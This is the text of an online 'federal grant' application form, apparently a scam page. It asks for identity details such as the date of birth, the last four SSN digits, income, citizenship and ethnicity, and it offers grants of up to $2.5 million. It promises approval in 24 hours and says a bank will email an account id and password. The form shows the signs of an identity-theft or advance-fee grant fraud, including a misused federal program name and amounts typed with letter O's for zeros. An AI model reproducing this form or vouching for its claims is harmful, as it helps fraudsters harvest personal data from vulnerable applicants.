First Name

Middle Name

Last Name

Cell / Home Phone Number

Email Address

Date of Birth

Gender
MaleFemaleOther

Street Address

Apt / Suite

State

City

ZIP Code

Last four digit of SSN

What's Your Monthly Income

Employment Status
Employed Full-TimeEmployed Part-TimeSelf EmployedUnemployedRetiredDisabledother

Citizenship Status
U.S. citizenResident AlienGreen Card HolderPermanent ResidentNot Sure

Ethnicity
Asian AmericanBlack or African AmericanHispanicLatinoMiddle Eastern AmericanMulti-racialWhiteother

Choose which type of funding you are interested in
BusinessCommunity AssitanceEducationHome BuyersHome RepairsInventionsminorities/DemographicMiscNon-ProfitPersonal (Bills,Rent,Utilities, Etc.)Real Estate

Grant Amount
$10,000 - $250,000$250,000 - $350,000$350,000 - $450,000$450,000 - $750,000$750,000 - $1,000,000$1,OOO,000 - $2,50O,000

If you are awarded the Grant, what specific steps will you take to ensure that the funding is used in the most efficient and impactful way possible?
Your answer here...
How quickly do you want to see this grant money being disbursed? Are there any urgent needs or projects that require immediate attention?

Payment direct deposit Method options for users who are approved for CATALOG FEDERAL DOMESTIC ASSISTANCE work after applying for your grant, which provides financial support to individuals in need. The application process typically takes around 24 hours if all required information is submitted correctly and meets the set criteria., Once your application has been reviewed and accepted, you will receive an email containing a link with account id and temporary password provided by our partnering institution -5th3rd bank-, without whom this funding program would not have been possible.

Payment Method
CheckDirect Deposit

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